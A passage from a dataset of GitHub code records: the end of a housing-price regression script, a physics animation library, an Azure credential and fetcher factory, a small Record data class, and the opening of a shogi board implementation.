plt.grid()\n plt.show()\n\n # build a simple linear regression model for price based on state\n X_state = pd.get_dummies(data=df_train[[\"state\"]], drop_first=True)\n Y_state = df_train[\"price2013\"]\n lr_state = fit_linear_model(X_state, Y_state)\n\n # determine which state corresponds to what coefficient\n coeffs_state = [(coef, state.replace(\"state_\",\"\")) for state,coef in zip(X_state.columns, lr_state.coef_)]\n print(\"State-based regression:\")\n print(f\"\\tIntercept: {lr_state.intercept_}\")\n print(f\"\\tPriciest state: {max(coeffs_state)[-1]}\")\n print(f\"\\tCheapest state: {min(coeffs_state)[-1]}\")\n\n # build a simple linear regression model for price based on state and county information\n X_county = pd.get_dummies(data=df_train[[\"state\", \"county\"]], drop_first=True)\n Y_county = df_train[\"price2013\"]\n lr_county = fit_linear_model(X_county, Y_county)\n\n # determine the coefficients for counties\n coeffs_county = [(coef, county.replace(\"county_\",\"\")) for county,coef in zip(X_county.columns, lr_county.coef_) if \"county\" in county]\n print(\"County-based regression:\")\n print(f\"\\tPriciest county: {max(coeffs_county)[-1]}\")\n print(f\"\\tCheapest county: {min(coeffs_county)[-1]}\")\n\n # print model summary\n import code\n code.interact(local=locals())\n\n","repo_name":"danielmohansahu/data-science-exercises","sub_path":"hw2/housing_prediction.py","file_name":"housing_prediction.py","file_ext":"py","file_size_in_byte":3776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"24347127230","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.gridspec import GridSpec\nfrom matplotlib.lines import Line2D\nimport matplotlib.animation as animation\n\n\ndef centered_rectangle(xy, width, height, angle=0.0):\n \"\"\"Returns the arguments for Rectangle given the x and y coordinates of the\n center of the rectangle.\n\n Parameters\n ==========\n xy : tuple of floats\n The x and y coordinates of the center of the rectangle.\n width : float\n Width of the rectangle. When angle=0.0 this is along the x axis.\n height : float\n Height of the rectangle. When angle=0.0 this is along the y axis.\n angle : float\n Angle of rotation about the z axis in degrees.\n\n Returns\n =======\n xy_ll : tuple of floats\n The x and y coordinates of the lower left hand corner of the rectangle.\n width : float\n Width of the rectangle. When angle=0.0 this is along the x axis.\n height : float\n Height of the rectangle. When angle=0.0 this is along the y axis.\n angle : float\n Angle of rotation about the z axis in degrees.\n\n \"\"\"\n xc, yc = xy\n theta = np.deg2rad(angle)\n x_ll = xc - width/2 * np.cos(theta) + height/2 * np.sin(theta)\n y_ll = yc - width/2 * np.sin(theta) - height/2 * np.cos(theta)\n xy_ll = (x_ll, y_ll)\n return xy_ll, width, height, angle\n\n\ndef spring(xA, xB, yA, yB, w, n=1, x=None, y=None):\n \"\"\"Returns the x and y coordinates of the points that define a spring\n diagram between points (xA, yB) and (yA, yB).\n\n Parameters\n ==========\n xA : float\n x coordinate of the beginning of the spring.\n xB : float\n x coordinate of the end of the spring.\n yA : float\n y coordinate of the beginning of the spring.\n yB : float\n y coordinate of the end of the spring.\n w : float\n The width of the spring.\n n : integer, optional\n Number of coils.\n x : ndarray, shape(2*n + 2), optional\n Preallocated array for the results.\n y : ndarray, shape(2*n + 2), optional\n Preallocated array for the results.\n\n Returns\n =======\n x : ndarray, shape(2*n + 2)\n x coordinates of the points that define the ends of each line in the\n spring.\n y : ndarray, shape(2*n + 2)\n y coordinates of the points that define the ends of each line in the\n spring.\n\n Examples\n ========\n\n >>> import numpy as np\n >>> import matplotlib.pyplot as plt\n >>> from resonance.functions import spring\n >>> plt.axes().set_aspect('equal')\n >>> for angle in np.arange(0, 2*np.pi, np.pi/4):\n ... plt.plot(*spring(0.0, np.cos(angle),\n ... 0.0, np.sin(angle), 0.1, n=4)) # doctest: +SKIP\n ...\n >>> plt.show()\n\n \"\"\"\n\n if xB < xA:\n xA, yA, xB, yB = xB, yB, xA, yA\n\n # NOTE : Epsilon is needed to prevent divide by zero for vertically\n # oriented springs.\n theta = np.arctan((yB-yA) / (xB - xA + np.finfo(float).eps))\n d = np.sqrt((xB-xA)**2 + (yB-yA)**2)\n\n s_th = np.sin(theta)\n c_th = np.cos(theta)\n\n xst = xA - w/2*s_th\n yst = yA + w/2*c_th\n xsb = xA + w/2*s_th\n ysb = yA - w/2*c_th\n\n if x is None:\n x = xA * np.ones(2*n + 2)\n if y is None:\n y = yA * np.ones(2*n + 2)\n\n x[1] = xsb + 1/4*d/n*c_th\n y[1] = ysb + 1/4*d/n*s_th\n\n x[2] = xst + 3/4*d/n*c_th\n y[2] = yst + 3/4*d/n*s_th\n\n x[-1] = xB\n y[-1] = yB\n\n for i in range(3, 2*n + 1):\n x[i] = x[i-2] + d/n*c_th\n y[i] = y[i-2] + d/n*s_th\n\n return x, y\n\n\ndef estimate_period(time, signal):\n \"\"\"Computes the period of oscillation based on the given periodic signal.\n\n Parameters\n ==========\n time : array_like, shape(n,)\n An array of monotonically increasing time values.\n signal : array_like, shape(n,)\n An array of values for the periodic signal at each time in ``t``.\n\n Returns\n =======\n period : float\n An estimate of the period of oscillation.\n\n \"\"\"\n peak_idxs = np.diff(np.sign(signal)) < 0\n peak_idxs = np.hstack((peak_idxs, False))\n period = np.diff(time[peak_idxs]).mean()\n\n return period\n\n\ndef benchmark_par_to_canonical(p):\n \"\"\"Returns the canonical matrices of the Whipple bicycle model linearized\n about the upright constant velocity configuration. It uses the parameter\n definitions from [Meijaard2007]_.\n\n Parameters\n ==========\n p : dictionary\n A dictionary of the benchmark bicycle parameters. Make sure your units\n are correct, best to ue the benchmark paper's units!\n\n Returns\n =======\n M : ndarray, shape(2,2)\n The mass matrix.\n C1 : ndarray, shape(2,2)\n The damping like matrix that is proportional to the speed, v.\n K0 : ndarray, shape(2,2)\n The stiffness matrix proportional to gravity, g.\n K2 : ndarray, shape(2,2)\n The stiffness matrix proportional to the speed squared, v**2.\n\n References\n ==========\n\n .. [Meijaard2007] J. P. Meijaard, J. M. Papadopoulos, A. Ruina, and A. L.\n Schwab, \"Linearized dynamics equations for the balance and steer of a\n bicycle: A benchmark and review,\" Proceedings of the Royal Society A:\n Mathematical, Physical and Engineering Sciences, vol. 463, no. 2084, pp.\n 1955–1982, Aug. 2007.\n\n \"\"\"\n mT = p['mR'] + p['mB'] + p['mH'] + p['mF']\n xT = (p['xB'] * p['mB'] + p['xH'] * p['mH'] + p['w'] * p['mF']) / mT\n zT = (-p['rR'] * p['mR'] + p['zB'] * p['mB'] +\n p['zH'] * p['mH'] - p['rF'] * p['mF']) / mT\n\n ITxx = (p['IRxx'] + p['IBxx'] + p['IHxx'] + p['IFxx'] + p['mR'] *\n p['rR']**2 + p['mB'] * p['zB']**2 + p['mH'] * p['zH']**2 + p['mF'] *\n p['rF']**2)\n ITxz = (p['IBxz'] + p['IHxz'] - p['mB'] * p['xB'] * p['zB'] -\n p['mH'] * p['xH'] * p['zH'] + p['mF'] * p['w'] * p['rF'])\n p['IRzz'] = p['IRxx']\n p['IFzz'] = p['IFxx']\n ITzz = (p['IRzz'] + p['IBzz'] + p['IHzz'] + p['IFzz'] +\n p['mB'] * p['xB']**2 + p['mH'] * p['xH']**2 + p['mF'] * p['w']**2)\n\n mA = p['mH'] + p['mF']\n xA = (p['xH'] * p['mH'] + p['w'] * p['mF']) / mA\n zA = (p['zH'] * p['mH'] - p['rF'] * p['mF']) / mA\n\n IAxx = (p['IHxx'] + p['IFxx'] + p['mH'] * (p['zH'] - zA)**2 +\n p['mF'] * (p['rF'] + zA)**2)\n IAxz = (p['IHxz'] - p['mH'] * (p['xH'] - xA) * (p['zH'] - zA) + p['mF'] *\n (p['w'] - xA) * (p['rF'] + zA))\n IAzz = (p['IHzz'] + p['IFzz'] + p['mH'] * (p['xH'] - xA)**2 + p['mF'] *\n (p['w'] - xA)**2)\n uA = (xA - p['w'] - p['c']) * np.cos(p['lam']) - zA * np.sin(p['lam'])\n IAll = (mA * uA**2 + IAxx * np.sin(p['lam'])**2 +\n 2 * IAxz * np.sin(p['lam']) * np.cos(p['lam']) +\n IAzz * np.cos(p['lam'])**2)\n IAlx = (-mA * uA * zA + IAxx * np.sin(p['lam']) + IAxz *\n np.cos(p['lam']))\n IAlz = (mA * uA * xA + IAxz * np.sin(p['lam']) + IAzz *\n np.cos(p['lam']))\n\n mu = p['c'] / p['w'] * np.cos(p['lam'])\n\n SR = p['IRyy'] / p['rR']\n SF = p['IFyy'] / p['rF']\n ST = SR + SF\n SA = mA * uA + mu * mT * xT\n\n Mpp = ITxx\n Mpd = IAlx + mu * ITxz\n Mdp = Mpd\n Mdd = IAll + 2 * mu * IAlz + mu**2 * ITzz\n M = np.array([[Mpp, Mpd], [Mdp, Mdd]])\n\n K0pp = mT * zT # this value only reports to 13 digit precision it seems?\n K0pd = -SA\n K0dp = K0pd\n K0dd = -SA * np.sin(p['lam'])\n K0 = np.array([[K0pp, K0pd], [K0dp, K0dd]])\n\n K2pp = 0.\n K2pd = (ST - mT * zT) / p['w'] * np.cos(p['lam'])\n K2dp = 0.\n K2dd = (SA + SF * np.sin(p['lam'])) / p['w'] * np.cos(p['lam'])\n K2 = np.array([[K2pp, K2pd], [K2dp, K2dd]])\n\n C1pp = 0.\n C1pd = (mu * ST + SF * np.cos(p['lam']) + ITxz / p['w'] *\n np.cos(p['lam']) - mu*mT*zT)\n C1dp = -(mu * ST + SF * np.cos(p['lam']))\n C1dd = (IAlz / p['w'] * np.cos(p['lam']) + mu * (SA +\n ITzz / p['w'] * np.cos(p['lam'])))\n C1 = np.array([[C1pp, C1pd], [C1dp, C1dd]])\n\n return M, C1, K0, K2\n\n\nclass Phasor(object):\n \"\"\"Phasor that can be advanced in time with rotation and growth rates.\n\n Parameters\n ----------\n init : complex\n Initial phasor in rectangular form (Re + jIm)\n frequency : float, optional\n Rotation rate in rad/s.\n growth_rate : float, optional\n Exponential growth rate (decay if < 0).\n\n Attributes\n ----------\n t : float\n Current time.\n re : float\n Current real component of the phasor.\n im : float\n Current imaginary component of the phasor.\n radius : float\n Current radius of the phasor.\n angle : float\n Current angle of the phasor.\n trace_t : list\n History of time values (since most recent `clear()`).\n trace_re : list\n History of real component values (since most recent `clear()`).\n trace_im : list\n History of imaginary component values (since most recent `clear()`).\n \"\"\"\n\n def __init__(self, init, frequency=0, growth_rate=0):\n self.init = init\n self.frequency = frequency\n self.growth_rate = growth_rate\n\n self.trace_t = []\n self.trace_re = []\n self.trace_im = []\n\n self._init()\n\n @classmethod\n def from_eig(cls, eigvec_component, eigval):\n \"\"\"Creates a phasor from an eigenvalue/eigenvector component pair.\n\n Parameters\n ----------\n eigvec_component : complex\n A single eigenvector component representing the phasor's initial\n real/imaginary parts.\n eigval : complex\n The eigenvector, which specifies the phasor's growth rate (real\n part) and rotational frequency (imaginary part).\n \"\"\"\n return cls(eigvec_component, np.imag(eigval), np.real(eigval))\n\n def advance(self, dt):\n \"\"\"Advance the phasor by a time step dt.\"\"\"\n self.t += dt\n self.radius *= np.exp(self.growth_rate * dt)\n self.angle += self.frequency * dt\n\n self._update_rect()\n\n self.trace_t.append(self.t)\n self.trace_re.append(self.re)\n self.trace_im.append(self.im)\n\n def clear(self):\n \"\"\"Clear trajectories.\"\"\"\n self._init()\n del self.trace_t[:]\n del self.trace_re[:]\n del self.trace_im[:]\n\n def _init(self):\n \"\"\"Initialize parameters.\"\"\"\n self.t = 0\n self.radius = np.abs(self.init)\n self.angle = np.angle(self.init)\n self._update_rect()\n\n def _update_rect(self):\n \"\"\"Update rectangular components.\"\"\"\n vec = self.radius * np.exp(1j * self.angle)\n self.re = np.real(vec)\n self.im = np.imag(vec)\n\n\nclass PhasorAnimation(animation.TimedAnimation):\n \"\"\"Animation for demonstrating rotating phasors.\n\n Two axes are set up. On top, there is an s-plane to show the real and\n imaginary components of the phasors. The current phasor \"vector\" is shown\n with a thick line, the current endpoint of the vector is shown with a\n circle, thin lines show the projection of the real part of the phasor down\n to the bottom of the plane, and the time history of the endpoint of the\n vectors are shown.\n\n On bottom, the phasors' real components are plotted in time. The plot is\n rotated so that time is positive downward, and the x axes of the s-plane\n and the time plots are lined up. The current value is shown with a circle,\n thin lines show the projection from the top of the plot to the current\n value, and the time history is plotted.\n\n Parameters\n ----------\n fig : Figure\n matplotlib Figure object on which to animate.\n t : array\n Array of time values at which to plot. Even time spacing is assumed.\n phasors : list\n List of Phasor objects to advance and plot.\n re_range : tuple, optional\n Limits of the real axis.\n im_range : tuple, optional\n Limits of the imaginary axis.\n repeat : bool, optional\n Specifies whether or not to repeat the animation once it finishes.\n repeat_delay : float, optional\n Amount of time to wait before repeating the animation in milliseconds.\n time_stretch : float, optional\n Multiplicative factor of the plotting interval. Increasing\n `time_stretch` effectively makes the animation slower without affecting\n the time units.\n blit : bool, optional\n Specifies whether or not to use blitting.\n \"\"\"\n\n def __init__(self, fig, t, phasors, re_range=(-1, 1), im_range=(-1, 1),\n repeat=True, repeat_delay=0, time_stretch=1, blit=True):\n self.t = t\n self.dt = t[1] - t[0]\n self.phasors = phasors\n self.re_range = re_range\n self.im_range = im_range\n\n gs = GridSpec(2, 1, height_ratios=[1, 2])\n\n # s-plane plot of phasors\n ax_s = fig.add_subplot(gs[0])\n ax_s.set_ylabel('Im')\n ax_s.set_xlim(*re_range)\n ax_s.set_ylim(*im_range)\n ax_s.set_xticklabels(ax_s.get_xticklabels(), visible=False)\n ax_s.grid()\n\n # time plot of the real part of the phasors\n ax_t = fig.add_subplot(gs[1])\n ax_t.set_xlabel('Re')\n ax_t.set_ylabel('t')\n ax_t.set_xlim(*re_range)\n ax_t.set_ylim(self.t[0], self.t[-1]+self.dt)\n ax_t.invert_yaxis()\n ax_t.grid()\n\n fig.subplots_adjust(hspace=0)\n fig.tight_layout()\n\n # vectors in the Re/Im axis from origin\n self.vec_lines = []\n # dots at the end of the vectors in the Re/Im axis\n self.vec_dots = []\n # lines streaming from the endpoints of the vectors to the axis base\n self.vec_connector_lines = []\n # trace of vectors in Re/Im axis\n self.vec_trace_lines = []\n # dot showing current x(t) value\n self.time_dots = []\n # lines streaming from the current x(t) value to the top of the axis\n self.time_connector_lines = []\n # trace of x(t) values\n self.time_trace_lines = []\n\n color_vals = np.linspace(0, 1, 10)\n for i, phasor in zip(color_vals, phasors):\n c = plt.cm.Set1(i)\n\n vl = Line2D([], [], color=c, linewidth=2)\n self.vec_lines.append(vl)\n ax_s.add_line(vl)\n\n vcl = Line2D([], [], color=c, linewidth=0.5)\n self.vec_connector_lines.append(vcl)\n ax_s.add_line(vcl)\n\n vd = Line2D([], [], color=c, marker='o', linewidth=0)\n self.vec_dots.append(vd)\n ax_s.add_line(vd)\n\n vtl = Line2D([], [], color=c)\n self.vec_trace_lines.append(vtl)\n ax_s.add_line(vtl)\n\n td = Line2D([], [], color=c, marker='o', linewidth=0)\n self.time_dots.append(td)\n ax_t.add_line(td)\n\n tcl = Line2D([], [], color=c, linewidth=0.5)\n self.time_connector_lines.append(tcl)\n ax_t.add_line(tcl)\n\n ttl = Line2D([], [], color=c)\n self.time_trace_lines.append(ttl)\n ax_t.add_line(ttl)\n\n animation.TimedAnimation.__init__(\n self, fig, interval=time_stretch/self.dt, blit=blit,\n repeat=repeat, repeat_delay=repeat_delay)\n\n def new_frame_seq(self):\n return iter(range(self.t.size))\n\n def _draw_frame(self, framedata):\n self._drawn_artists = []\n\n # advance phasors and plot them\n for i, phasor in enumerate(self.phasors):\n phasor.advance(self.dt)\n self.vec_lines[i].set_data([0, phasor.re], [0, phasor.im])\n self.vec_dots[i].set_data(phasor.re, phasor.im)\n self.vec_connector_lines[i].set_data([phasor.re, phasor.re],\n [phasor.im, self.im_range[0]])\n self.vec_trace_lines[i].set_data(phasor.trace_re, phasor.trace_im)\n self.time_dots[i].set_data(phasor.re, phasor.t)\n self.time_connector_lines[i].set_data([phasor.re, phasor.re],\n [0, phasor.t])\n self.time_trace_lines[i].set_data(phasor.trace_re, phasor.trace_t)\n\n # add lines to _drawn_artists\n for phasor in self.phasors:\n self._drawn_artists.extend(self.vec_lines)\n self._drawn_artists.extend(self.vec_dots)\n self._drawn_artists.extend(self.vec_connector_lines)\n self._drawn_artists.extend(self.vec_trace_lines)\n self._drawn_artists.extend(self.time_dots)\n self._drawn_artists.extend(self.time_connector_lines)\n self._drawn_artists.extend(self.time_trace_lines)\n\n def _init_draw(self):\n # clear the phasor trajectories\n for phasor in self.phasors:\n phasor.clear()\n\n # reset line data\n if getattr(self, '_drawn_artists', None) is not None:\n for a in self._drawn_artists:\n a.set_data([], [])\n","repo_name":"moorepants/resonance","sub_path":"resonance/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":16823,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"69"} +{"seq_id":"28805447200","text":"import json\nfrom azure.identity import AzureCliCredential,ClientSecretCredential\nfrom resourses_management.azure_fetcher import AzureFetcherMain\nfrom resourses_management.azure_fetchers import SubscriptionFetcher,ResourceFetcher,ResourceGroupsFetcher,TagsProcessor\nfrom resourses_management.ids import RandomIdMaker\nfrom core import settings\nclass AzureFetcherFactory():\n def build( self,**kwargs):\n\n credentials = self._make_credentials()\n fetchers = {}\n fetchers['subscriptions_fetcher'] = SubscriptionFetcher(id_factory=RandomIdMaker(length=4),credentials=credentials)\n fetchers['resource_groups_fetcher'] = ResourceGroupsFetcher(RandomIdMaker(length=8),credentials,TagsProcessor())\n fetchers['resources_fetcher'] = ResourceFetcher(RandomIdMaker(length=12),credentials)\n return AzureFetcherMain(fetchers,**kwargs)\n def _load_credentials_from_file(self,az_credentials_file):\n try:\n credentials_dic = json.load(open(az_credentials_file))\n except Exception as e:\n raise Exception(f'Credentials file does not exist.')\n\n tenant_id = credentials_dic.get('tenant','')\n client_id = credentials_dic.get('appId','')\n client_secret = credentials_dic.get('password','')\n return {\"tenant_id\":tenant_id,\"client_id\":client_id,\"client_secret\":client_secret}\n def _make_az_credentials(self,):\n credentials_dic = None\n if settings.az_auth_method == \"TOKEN\":\n serice_principal = self._load_credentials_from_file(settings.az_credentials_file)\n if settings.az_manager_type == 'API':\n credentials = ServicePrincipalAPIAuth( **serice_principal )\n else:\n credential = ClientSecretCredential(**serice_principal)\n elif settings.az_manager_type == 'SDK':\n credentials = AzureCliCredential()\n else:\n raise Exception('CLI Auth is not allowed with Azure API, please use TOKEN Auth.')\n return credentials\n def _make_api_credentials(self,az_auth_method,az_credentials_file):\n if az_auth_method == \"TOKEN\":\n serice_principal = self._load_credentials_from_file(az_credentials_file)\n credentials = ServicePrincipalAPIAuth( **serice_principal )\n else:\n raise Exception('CLI Auth is not allowed with Azure API, please use TOKEN Auth.')\n return credentials\n def _make_sdk_credentials(self,az_auth_method,az_credentials_file):\n if az_auth_method == \"TOKEN\":\n serice_principal = self._load_credentials_from_file(az_credentials_file)\n settings.logger.debug(serice_principal)\n credentials = ClientSecretCredential(**serice_principal)\n else:\n credentials = AzureCliCredential()\n return credentials\n def _make_credentials(self):\n if settings.az_manager_type == \"SDK\":\n credentials = self._make_sdk_credentials(settings.az_auth_method,settings.az_credentials_file)\n # azure_manager = SDKResourceGroupManager(credentials,subscription_id)\n elif settings.az_manager_type == \"API\":\n credentials = self._make_api_credentials(settings.az_auth_method,settings.az_credentials_file)\n # azure_manager = APIResourceGroupManager(credentials,subscription_id)\n else:\n raise Exception('Unrecognized Azure Manager Type, Allowed values are [SDK,API] .')\n\n return credentials\n","repo_name":"BrayannSiigo/Siigo_costos","sub_path":"resourses_management/factories.py","file_name":"factories.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23253002061","text":"\"\"\"\nSummary: Data structure class\n\nPurpose: This class is the data model. There is one instance per range item.\n\nPython Version: QA'd on Python 3.4.1\n\"\"\"\n\n__author__ = \"Michael Rais\"\n__version__ = \"0.7-beta\"\n__maintainer__ = \"Michael Rais\"\n__email__ = \"mrais@inbox.com\"\n\n\nclass Record():\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n self.range = ''\n self.data = {}\n\n def get_value(self, key, value):\n key, value = key.title(), value.title() # Titlecase everything\n returnval = False\n # Determine if relationship exists (target in source value list)\n sourceGet = self.data.get(key)\n if sourceGet:\n if value in sourceGet:\n returnval = True\n return returnval\n\n def set_value(self, key, value):\n key, value = key.title(), value.title() # Titlecase everything\n returnval = False\n # If source already exists, check if target associated or not\n sourceGet = self.data.get(key)\n if sourceGet:\n # Target not already associated - if it is do nothing.\n if value not in sourceGet:\n oldValue = sourceGet\n oldValue.add(value)\n # This can't be combined with above statement\n newValue = oldValue\n # del self.data[source]\n self.data[key] = newValue\n returnval = True\n else:\n item = set() # Sets more performant\n item.add(value)\n self.data[key] = item\n returnval = True\n # print(\"DATA(\" + self.range + \"-\" + target + \"): \" + str(self.data))\n return returnval\n\n def get_values_list(self, key):\n key = key.title()\n returnval = ''\n # Determine if relationship exists (target in source value list)\n sourceGet = self.data.get(key)\n if sourceGet:\n returnval = sourceGet\n return returnval\n\n def del_value(self, key, value):\n key, value = key.title(), value.title()\n returnval = False\n # If source already exists, check if target associated or not\n sourceGet = self.data.get(key)\n if sourceGet:\n # If target there, delete it\n if value in sourceGet:\n oldValue = sourceGet\n oldValue.remove(value)\n # This can't be combined with above statement\n newValue = oldValue\n self.data[key] = newValue\n returnval = True\n\n #def get_key_exists(self, key):\n # \"\"\"Method that should do something.\"\"\"\n # return","repo_name":"MichaelRais/DARMa","sub_path":"Record.py","file_name":"Record.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30797104313","text":"#import numpy as np\n#import copy\n\nfrom Piece import Piece,Type\n\n#-------------------------------------------------------\nclass Board():\n\tdef __init__(self):\n\t\tmove_1 = [[0,1]]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\"歩\" 1\n\t\tmove_2 = [[0,10]]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\"香\" 2\n\t\tmove_3 = [[1,2],[-1,2]]\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\"桂\" 3\n\t\tmove_4 = [[1,1],[0,1],[-1,1],[1,-1],[-1,-1]]\t\t\t\t\t\t\t\t#\"銀\" 4\n\t\tmove_5 = [[1,1],[0,1],[-1,1],[1,0],[-1,0],[0,-1]]\t\t\t\t\t\t\t#\"金\" 5\n\t\tmove_6 = [[0,10],[10,0],[-10,0],[0,-10]]\t\t\t\t\t\t\t\t\t#\"飛\" 6\n\t\tmove_7 = [[10,10],[-10,10],[10,-10],[-10,-10]]\t\t\t\t\t\t\t\t#\"角\" 7\n\t\tmove_8 = [[1,1],[0,1],[-1,1],[1,0],[-1,0],[1,-1],[0,-1],[-1,-1]]\t\t\t#\"王\" 8\n\t\tmove_16 =[[1,1],[0,10],[-1,1],[10,0],[-10,0],[1,-1],[0,-10],[-1,-1]]\t\t#\"竜\" 16\n\t\tmove_17 =[[10,10],[0,1],[-10,10],[1,0],[-1,0],[10,-10],[0,-1],[-10,-10]]\t#\"馬\" 17\n\t\tself.move = [[],move_1,move_2,move_3,move_4,move_5,move_6 ,move_7 ,move_8,move_8,\n\t\t\t\t\t[], move_5,move_5,move_5,move_5,move_5,move_16,move_17,move_8,move_8]\n\t\tself.initBoard()\n\n\tdef initBoard(self):\n\t\tself.piece = []\n\t\tturn = False\n\n\t\ty = 0\n\t\tself.makePiece(Type.lance,\t\t0,y,\tturn)\n\t\tself.makePiece(Type.knight,\t\t1,y,\tturn)\n\t\tself.makePiece(Type.silver,\t\t2,y,\tturn)\n\t\tself.makePiece(Type.gold,\t\t3,y,\tturn)\n\t\tself.makePiece(Type.king,\t\t4,y,\tturn)\n\t\tself.makePiece(Type.gold,\t\t5,y,\tturn)\n\t\tself.makePiece(Type.silver,\t\t6,y,\tturn)\n\t\tself.makePiece(Type.knight,\t\t7,y,\tturn)\n\t\tself.makePiece(Type.lance,\t\t8,y,\tturn)\n\t\ty = 1\n\t\tself.makePiece(Type.rook,\t\t1,y,\tturn)\n\t\tself.makePiece(Type.bishop,\t\t7,y,\tturn)\n\t\ty = 2\n\t\tfor x in range(9):\n\t\t\tself.makePiece(Type.pawn,\tx,y,\tturn)\n\n\t\tturn = True\n\t\ty = 6\n\t\tfor x in range(9):\n\t\t\tself.makePiece(Type.pawn,\tx,y,\tturn)\n\t\ty = 7\n\t\tself.makePiece(Type.rook,\t\t7,y,\tturn)\n\t\tself.makePiece(Type.bishop,\t\t1,y,\tturn)\n\t\ty = 8\n\t\tself.makePiece(Type.lance,\t\t0,y,\tturn)\n\t\tself.makePiece(Type.knight,\t\t1,y,\tturn)\n\t\tself.makePiece(Type.silver,\t\t2,y,\tturn)\n\t\tself.makePiece(Type.gold,\t\t3,y,\tturn)\n\t\tself.makePiece(Type.king,\t\t4,y,\tturn)\n\t\tself.makePiece(Type.gold,\t\t5,y,\tturn)\n\t\tself.makePiece(Type.silver,\t\t6,y,\tturn)\n\t\tself.makePiece(Type.knight,\t\t7,y,\tturn)\n\t\tself.makePiece(Type.lance,\t\t8,y,\tturn)\n\n\t\t# Map更新\n\t\tself.makeMap()\n\n\t# MAP作成\n\tdef makeMap(self):\n\t\tself.board = [[-1 for i in range(9)] for j in range(9)]\t#MAPを-1で初期化\n\t\tself.board.append([])\n\t\tself.board.append([])\n\t\tfor p in self.piece:\t# 駒情報をループ\n\t\t\tpos = p.getPos()\n\t\t\tif pos[0] == 10 or pos[0] == 9:\n\t\t\t\tID =self.piece.index(p)\n\t\t\t\tself.board[pos[0]].append(ID)\n\t\t\t\tp.setY(self.board[pos[0]].index(ID))\n\t\t\telse:\n\t\t\t\tself.board[pos[0]][pos[1]] = self.piece.index(p)\t# 更新\n\n\tdef makePiece(self,type,x,y,turn):\n\t\tself.piece.append(Piece(type,x,y,turn))\n\n\t# 駒情報取得\n\tdef getPiece(self, PosX, PosY):\n\t\tbd = self.board[PosX][PosY]\n\t\tif (bd == -1):\n\t\t\treturn 0\n\t\tpc = self.piece[bd]\n\t\tturn = 1 if pc.turn else -1\n\t\tpro = 10 if pc.promote else 0\n\t\treturn (pc.type.value + pro) * turn\n\tdef getturn(self,PosX,PosY):\n\t\tbd = self.board[PosX][PosY]\n\t\tif (bd == -1):\n\t\t\treturn 0\n\t\tpc = self.piece[bd]\n\t\treturn pc.turn\n\t# 持ち駒の数取得\n\tdef getMochigomaLen(self, PosX):\n\t\treturn len(self.board[PosX])\n\n\t# 持ち駒のXY取得\n\tdef getMochigomaXY(self, type, x):\n\t\tres = [0,0]\n\t\tfor p in self.piece:\t# 駒情報をループ\n\t\t\tif(p.getType().value == type):\n\t\t\t\tpos = p.getPos()\n\t\t\t\tif(pos[0] == x):\n\t\t\t\t\tres = pos\n\t\t\t\t\tbreak\n\t\treturn res\n\n\t# 成れるか判定\n\tdef chkPromote(self, fromPos, toPos):\n\t\t# fromに駒がないのはありえない\n\t\tfm = self.piece[self.board[fromPos[0]][fromPos[1]]]\n\t\tpromote = fm.chkPromote(fromPos[1],toPos[1])\t# 成れるか判定\n\t\treturn promote\n\n\t# 成り情報取得\n\tdef getPromote(self, fromPos, toPos):\n\t\t# fromに駒がないのはありえない\n\t\tfm = self.piece[self.board[fromPos[0]][fromPos[1]]]\n\t\treturn fm.getPromote()\t# 成り情報取得\n\n\n\tdef setPiece(self, fromPos, toPos, promote):\n\t\t# fromに駒がないのはありえない\n\t\tbi = self.board[fromPos[0]][fromPos[1]]\n\t\tfm = self.piece[bi]\n\n\t\t# 駒タイプを返すために取得しておく\n\t\ttype = fm.getType().value\n\n\t\t# 相手の駒があったら自分の持ち駒に入れる\n\t\tindexTo = self.board[toPos[0]][toPos[1]]\n\t\tif(indexTo != -1):\t\t# toに駒がある場合\n\t\t\tx = fm.getIndexM()\n\t\t\ty = len(self.board[x])\n\t\t\tself.piece[indexTo].chgPiece(x,y)\n\n\t\t# 駒移動\n\t\tfm.setPiece(toPos[0], toPos[1], promote)\n\t\tself.makeMap()\n\n\t\treturn type\n\n\t#移動可能な座標の抽出\n\tdef Possible(self, choice):\n\t\tpossible_move = []\n\n\t\tpiece = self.piece[self.board[choice[0]][choice[1]]]\n\t\tturn = piece.getTurn()\n\n\t\tif choice[0] < 9:\t\t# 盤面の駒なら\n\t\t\tif piece.getTurn():\n\t\t\t\tplayer = 1\n\t\t\telse:\n\t\t\t\tplayer = -1\n\t\t\tfor move in self.move[piece.getTypeV()]:\n\t\t\t\t#連続移動が可能なら\n\t\t\t\tif abs(move[0]) == 10 or abs(move[1]) == 10:\n\t\t\t\t\txVec = self.setOne(move[0]) * player\n\t\t\t\t\tyVec = self.setOne(move[1]) * player\n\t\t\t\t\t# 1からカウントアップ\n\t\t\t\t\tfor n in range(1,9):\n\t\t\t\t\t\tx = int(choice[0] - n * xVec)\n\t\t\t\t\t\ty = int(choice[1] - n * yVec)\n\t\t\t\t\t\t# xyが0から8を外れたら終了\n\t\t\t\t\t\tif not 0<=x<=8 or not 0<=y<=8:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t#そこが自分の駒じゃなければ対象\n\t\t\t\t\t\tindex = self.board[x][y]\n\t\t\t\t\t\tif index == -1:\t\t# 空きマスの場合\n\t\t\t\t\t\t\tpossible_move.append([x,y])\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tif self.piece[index].getTurn() != turn:\t\t#相手の駒の時その駒まで\n\t\t\t\t\t\t\tpossible_move.append([x,y])\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\t#自分の駒の場合その手前まで\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\telse:\t# 1マス移動の場合\n\t\t\t\t\tx = choice[0] - move[0] * player\n\t\t\t\t\ty = choice[1] - move[1] * player\n\t\t\t\t\t# 